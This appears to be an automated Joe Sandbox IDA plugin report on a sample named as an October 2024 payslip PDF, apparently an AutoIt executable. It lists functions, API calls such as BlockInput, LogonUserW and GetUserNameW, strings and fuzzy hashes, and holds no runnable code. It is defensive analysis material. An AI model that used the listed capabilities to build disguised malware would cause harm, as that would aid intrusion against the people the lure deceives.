Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: a220f9d159bb5230a4bb9ba7519eff55bb69ab74ccdc1aff9ae6e783a81a1604
Instruction ID: 536651888ac8f8678912746cacccba92547d85c9e25a346df2dbd991f63024ea
Opcode Fuzzy Hash: a220f9d159bb5230a4bb9ba7519eff55bb69ab74ccdc1aff9ae6e783a81a1604
Instruction Fuzzy Hash: 41E0B676010610EEE7352B61ED09E777BA9EB04750724883DF996C0471DB62AC91EB20

Function 00CCA395 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00CC8F97,?,?,?,00000001), ref: 00CCA39A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00CCA3A3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1bf2cc86e467a0e9a9b9c96fae629b6d0e8e9cbd8134151ca26c0e569064981f
Instruction ID: 3d9cac1b8e0da380878e292b3a6edbe06f4ea0bb8973d7832e6869ac309465be
Opcode Fuzzy Hash: 1bf2cc86e467a0e9a9b9c96fae629b6d0e8e9cbd8134151ca26c0e569064981f
Instruction Fuzzy Hash: 44B09231058308EBCA106B91EC09B883F78EB54AA2F404430F60DC4260CB6254528AA1

Function 00CCF419 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af0eecefdbd999f6944b2de191fa85295cf4d836e45732b377b3f193ab778dea
Instruction ID: 45357a36d7a1d97f526b42ed6d3cf4aa5bea4665531b4e208b95b4987016b2f5
Opcode Fuzzy Hash: af0eecefdbd999f6944b2de191fa85295cf4d836e45732b377b3f193ab778dea
Instruction Fuzzy Hash: DD322372E29F454DD7239634D832336A259AFB73C4F15D73BE829F5AA6EB28C5834100

Function 00CD267E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f9fee8fd2229392e629de5a0a89c689bc80fe62cd01d076470e4a90922a2e64
Instruction ID: 07c74647f525cab1bd310b65725769a561737ebf8f00e767866ba713ef9fb1e0
Opcode Fuzzy Hash: 6f9fee8fd2229392e629de5a0a89c689bc80fe62cd01d076470e4a90922a2e64
Instruction Fuzzy Hash: 37B1F121E2AF414DD32396398831336B74CAFBB2C5F51D71BFC6AB4E62EB2285834141

Function 00D08B13 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00D08B25

Part of subcall function 00CC543A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00D091F8,00000000,?,?,?,?,00D093A9,00000000,?), ref: 00CC5443
Part of subcall function 00CC543A: __aulldiv.LIBCMT ref: 00CC5463

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 8253533f017b600d732d319cf133edea2bbc8c0def753cd49671a2ec66436e62
Instruction ID: 51bd06cf0ba8f1a0461e10c7ab5698bc8d5d8d8dc52a9419f81bdfbce228ada4
Opcode Fuzzy Hash: 8253533f017b600d732d319cf133edea2bbc8c0def753cd49671a2ec66436e62
Instruction Fuzzy Hash: 3321B4726356108BC729CF25D441B52B3E1EBA5321B288E6CD0EACB2D0CA74B945DBA4

Function 00D141FD Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00D14218

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 6776ef41051b9567fc4ad42157ba802904b9b56cb768c830df65f704d378efb1
Instruction ID: ffc45d11c63ca13dac8319d2d686d42800b8ab29ae29672d8c6de93b2d48b941
Opcode Fuzzy Hash: 6776ef41051b9567fc4ad42157ba802904b9b56cb768c830df65f704d378efb1
Instruction Fuzzy Hash: 59E048712402156FC710DF59E445A9AF7E8EF55764F008426FC49C7351DA70EC819BA1

Function 00D04EC9 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00D04EEC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 6679fb1b00247f30c697edcc2d2c4d9bbacd6652e97cd730bdc5f5941e723c40
Instruction ID: 6ff0331196881ef933eafb877ee946753c5cfb87171836620e0c6aab19721834
Opcode Fuzzy Hash: 6679fb1b00247f30c697edcc2d2c4d9bbacd6652e97cd730bdc5f5941e723c40
Instruction Fuzzy Hash: C7D0A9E81607083AFC288F21DC5FF770208F300782FD8469AB74ACA0C2E8D0AC91A030

Function 00CF8C93 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00CF88D1), ref: 00CF8CB3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 83d277f1399c24141ad588bd69c9e459be62cc50028bc3dc1ada5beaae869c7e
Instruction ID: cc594ec1c02a722facb6f12b324f9bb4cbeb8edb2f555bc12f57b45f7a938e2f
Opcode Fuzzy Hash: 83d277f1399c24141ad588bd69c9e459be62cc50028bc3dc1ada5beaae869c7e
Instruction Fuzzy Hash: DFD05E3226060EABEF018FA4DD01EAE3B69EB04B01F408521FE15D51A1C775D835AB60

Function 00CE2230 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00CE2242

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: ab1b65c8dcf39f3080d20d6b3b3aeb26afbd7ec8f1bfb4109d942738ed416265
Instruction ID: ae068b80339d1108ee3815bbd427c7e68a9f51c8af6de62fc9394ea29c1e8433
Opcode Fuzzy Hash: ab1b65c8dcf39f3080d20d6b3b3aeb26afbd7ec8f1bfb4109d942738ed416265
Instruction Fuzzy Hash: 14C048F1800209DBEB15DBA1DA88EEFB7BCAB08304F2444A6A542F2200E7749B448A71

Function 00CCA364 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00CCA36A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fd3426c446701576b0d3dae055f9f9d4a634cc22d8fcbf6ebeafce30a903ef49
Instruction ID: 09bbf058808e3a05148c6dbc06061d52ca7531596fae4d53a2d522cdd26b8911
Opcode Fuzzy Hash: fd3426c446701576b0d3dae055f9f9d4a634cc22d8fcbf6ebeafce30a903ef49
Instruction Fuzzy Hash: 25A0113000820CEB8A002B82EC08888BFACEA002A0B008030F80C802228B32A8228AA0

Function 00CB8A0E Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e054c923aa32cc0cd3b24965addede0fa543bf98975a0f9cc414f0f7fe660be
Instruction ID: c284a8a15d9d6acdd63d57d51e902866c30c5f12dc4d08b84b50cbf1d693fc63
Opcode Fuzzy Hash: 6e054c923aa32cc0cd3b24965addede0fa543bf98975a0f9cc414f0f7fe660be
Instruction Fuzzy Hash: BF224B7090161ADBCF288F29C4D46FD7BA5EB01344F64446ADB62CB691DB30DE89CBA1

Function 00CC2405 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 9ce7a4100cdfa0ff0bae29b96cbf97b7056d6fd5fbdcfc6fd4d8d43296e1f33e
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 8AC184322050930ADF2D867AD474A3EBAE15AA37B131E075DE8B3CB5D5EF20D634D620

Function 00CC283A Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 49c12d6031bd9ef0ade5ed9698d483bfb9485778749628d2f7ee45353bab840f
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 14C195322051930ADB2D463AC434A3EBBE15A937B131E076DE8B3DB5D5EF20D634E620

Function 00CC1BB8 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 2b5e99081db4d7efbb116d126f84fd0bbdf8971671a73208ae416cc3ac1c1e91
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: EDC17F3260519309DB2D467BD434A3EBAE15AA37B131E076DECB3CB5C6EF20D6749620

Function 00D237F3 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00D2F910), ref: 00D238AF
IsWindowVisible.USER32(?), ref: 00D238D3

Strings

SETCURRENTSELECTION, xrefs: 00D23A3E
GETLINE, xrefs: 00D23C23
ISENABLED, xrefs: 00D238F3
ADDSTRING, xrefs: 00D2399E
SHOWDROPDOWN, xrefs: 00D23968
UNCHECK, xrefs: 00D23B0B
ISCHECKED, xrefs: 00D23AC1
DELSTRING, xrefs: 00D239D1
GETLINECOUNT, xrefs: 00D23B4E
FINDSTRING, xrefs: 00D239FE
HIDEDROPDOWN, xrefs: 00D23988
GETCURRENTCOL, xrefs: 00D23BB0
GETCURRENTLINE, xrefs: 00D23B75
SELECTSTRING, xrefs: 00D23A8E
GETCURRENTSELECTION, xrefs: 00D23A6B
SENDCOMMANDID, xrefs: 00D23C62
GETSELECTED, xrefs: 00D23B2B
CHECK, xrefs: 00D23AF5
TABLEFT, xrefs: 00D2390F
TABRIGHT, xrefs: 00D23925
ISVISIBLE, xrefs: 00D238BF
CURRENTTAB, xrefs: 00D23945
EDITPASTE, xrefs: 00D23BE7

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 3d03899ec86429fd7b5d7836d03739f52b8911abf0724d6d85b9353a313b855a
Instruction ID: 94fc2c667c812501dba94604b248d763d133872b3ea2c193050ef1fcdc653eba
Opcode Fuzzy Hash: 3d03899ec86429fd7b5d7836d03739f52b8911abf0724d6d85b9353a313b855a
Instruction Fuzzy Hash: 6BD19130204315DBCB14EF10D451B6AB7A1EFA5358F14486DFC865B3A2CB35EE4AEB62

Function 00D2A849 Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00D2A89F
GetSysColorBrush.USER32(0000000F), ref: 00D2A8D0
GetSysColor.USER32(0000000F), ref: 00D2A8DC
SetBkColor.GDI32(?,000000FF), ref: 00D2A8F6
SelectObject.GDI32(?,?), ref: 00D2A905
InflateRect.USER32(?,000000FF,000000FF), ref: 00D2A930
GetSysColor.USER32(00000010), ref: 00D2A938
CreateSolidBrush.GDI32(00000000), ref: 00D2A93F
FrameRect.USER32(?,?,00000000), ref: 00D2A94E
DeleteObject.GDI32(00000000), ref: 00D2A955
InflateRect.USER32(?,000000FE,000000FE), ref: 00D2A9A0
FillRect.USER32(?,?,?), ref: 00D2A9D2
GetWindowLongW.USER32(?,000000F0), ref: 00D2A9FD

Part of subcall function 00D2AB60: GetSysColor.USER32(00000012), ref: 00D2AB99
Part of subcall function 00D2AB60: SetTextColor.GDI32(?,?), ref: 00D2AB9D
Part of subcall function 00D2AB60: GetSysColorBrush.USER32(0000000F), ref: 00D2ABB3
Part of subcall function 00D2AB60: GetSysColor.USER32(0000000F), ref: 00D2ABBE
Part of subcall function 00D2AB60: GetSysColor.USER32(00000011), ref: 00D2ABDB
Part of subcall function 00D2AB60: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D2ABE9
Part of subcall function 00D2AB60: SelectObject.GDI32(?,00000000), ref: 00D2ABFA
Part of subcall function 00D2AB60: SetBkColor.GDI32(?,00000000), ref: 00D2AC03
Part of subcall function 00D2AB60: SelectObject.GDI32(?,?), ref: 00D2AC10
Part of subcall function 00D2AB60: InflateRect.USER32(?,000000FF,000000FF), ref: 00D2AC2F
Part of subcall function 00D2AB60: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D2AC46
Part of subcall function 00D2AB60: GetWindowLongW.USER32(00000000,000000F0), ref: 00D2AC5B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: c56cb8eae2472addad5702554bad54c4300fd058445b765a05218c33c344b365
Instruction ID: bf7511b955339ea8a210be2e67dab89cc89570e103d96afa5aa39617b97f47f5
Opcode Fuzzy Hash: c56cb8eae2472addad5702554bad54c4300fd058445b765a05218c33c344b365
Instruction Fuzzy Hash: 67A19E72008311AFD7219F68DC08E5BBBB9FF98325F140E29F962D62A0D734D845CB62

Function 00CA2C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00CA2CA2
DeleteObject.GDI32(00000000), ref: 00CA2CE8
DeleteObject.GDI32(00000000), ref: 00CA2CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00CA2CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00CA2D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 00CDC68B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00CDC6C4
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00CDCAED

Part of subcall function 00CA1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00CA2036,?,00000000,?,?,?,?,00CA16CB,00000000,?), ref: 00CA1B9A

SendMessageW.USER32(?,00001053), ref: 00CDCB2A
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00CDCB41
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00CDCB57
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00CDCB62

Strings

0, xrefs: 00CDC981

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 4db614e4286f36b58026e848b397601d3f33e01d54b24bfb0262ba9b20a47e38
Instruction ID: f1f74baf8c3a2fcc71cd02836b737c56d35a02763e91d575ae98f05dee70b1c1
Opcode Fuzzy Hash: 4db614e4286f36b58026e848b397601d3f33e01d54b24bfb0262ba9b20a47e38
Instruction Fuzzy Hash: 34129D30604212EFDB20CF28C884BA9B7E5BF45318F54456AFAA5DB762C731E942DB60

Function 00D177BE Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00D177F1
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00D178B0
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00D178EE
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00D17900
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00D17946
GetClientRect.USER32(00000000,?), ref: 00D17952
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00D17996
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00D179A5
GetStockObject.GDI32(00000011), ref: 00D179B5
SelectObject.GDI32(00000000,00000000), ref: 00D179B9
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00D179C9
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D179D2
DeleteDC.GDI32(00000000), ref: 00D179DB
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00D17A07
SendMessageW.USER32(00000030,00000000,00000001), ref: 00D17A1E
